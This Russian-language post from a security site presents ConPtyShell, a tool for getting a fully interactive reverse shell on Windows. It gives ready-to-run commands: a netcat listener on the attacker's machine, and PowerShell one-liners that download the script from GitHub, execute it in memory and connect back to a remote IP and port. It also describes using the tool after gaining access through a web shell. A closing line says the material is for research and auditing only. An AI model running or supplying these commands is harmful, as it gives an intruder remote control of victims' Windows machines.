🕵️ ConPtyShell — полностью интерактивный обратный шелл для Windows — Information Security Squad
🕵️ ConPtyShell — полностью интерактивный обратный шелл для Windows

ConPtyShell — полностью интерактивная обратная оболочка для систем Windows.

Внедрение Pseudo Console (ConPty) в Windows значительно улучшило способ обработки терминалов в Windows.

ConPtyShell использует эту функцию для буквального преобразования вашего bash в удаленный PowerShell.

Вкратце, он создает псевдо-консоль и присоединяет 2 канала.
Затем он создает процесс оболочки (по умолчанию powershell.exe), подключающий псевдо-консоль с перенаправленным вводом / выводом.
Затем запускается 2 потока для асинхронного ввода-вывода:
— один поток для чтения из сокета и записи в канал ввода псевдо-консоли;
— второй поток для чтения из канала вывода псевдо-консоли и записи в сокет.

ConPtyShell не является методом «Обновление до полностью интерактивного» для обратного шелла, просто используйте его в качестве обратной оболочки.

ПРИМЕЧАНИЕ. ConPty Shell использует функцию CreatePseudoConsole (). Эта функция доступна начиная с Windows 10 / Windows Server 2019 версии 1809 (сборка 10.0.17763).

Требования

Сторона клиента: версия Windows> = 10/2019 1809 (сборка> = 10.0.17763)

Сторона сервера: любой слушатель tcp, т.е. netcat

Использование

Важно иметь одинаковый размер строк и столбцов между вашим терминалом и удаленным терминалом, если вы хотите иметь выровненный вывод на шелле.

Способ 1

В этом методе размер терминала устанавливается без передачи параметров row и cols в функцию Invoke-ConPtyShell:

Сторона сервера:
stty raw -echo; (stty size; cat) | nc -lvnp 3001
Сторона клиента:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
или, если вы загрузите PS1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001

Способ 2

Если вы предпочитаете иметь больше свободы действий для прослушателя tcp и вашего терминала, вы можете перейти к «ручному» способу получить обратную оболочку.
В этом случае важно установить размер строк и столбцов при вызове функции Invoke-ConPtyShell:
Сторона сервера:
stty size
nc -lvnp 3001
Wait For connection
ctrl+z
stty raw -echo
fg[ENTER]

Сторона клиента:

Здесь вы должны использовать значения, считанные из команды stty size в параметрах -Rows и -Cols

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80

или, если вы загрузите PS1:

IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80

Изменить размер консоли

В любом случае, если вы измените размер своего терминала, когда уже открыли удаленную оболочку, вы можете изменить размер строк и столбцов непосредственно из powershell, вставив следующий код:

$width=80
$height=24
$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height)
$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height)

Дэмо

Ниже в видео вы можете посмотреть смоделированный сценарий, где на левом терминале у меня ограниченный доступ к серверу через веб-оболочку, а справа создана полностью интерактивную обратную оболочку:

Скачать ConPtyShell

¯\_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

 

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

5e7fa976b0640d40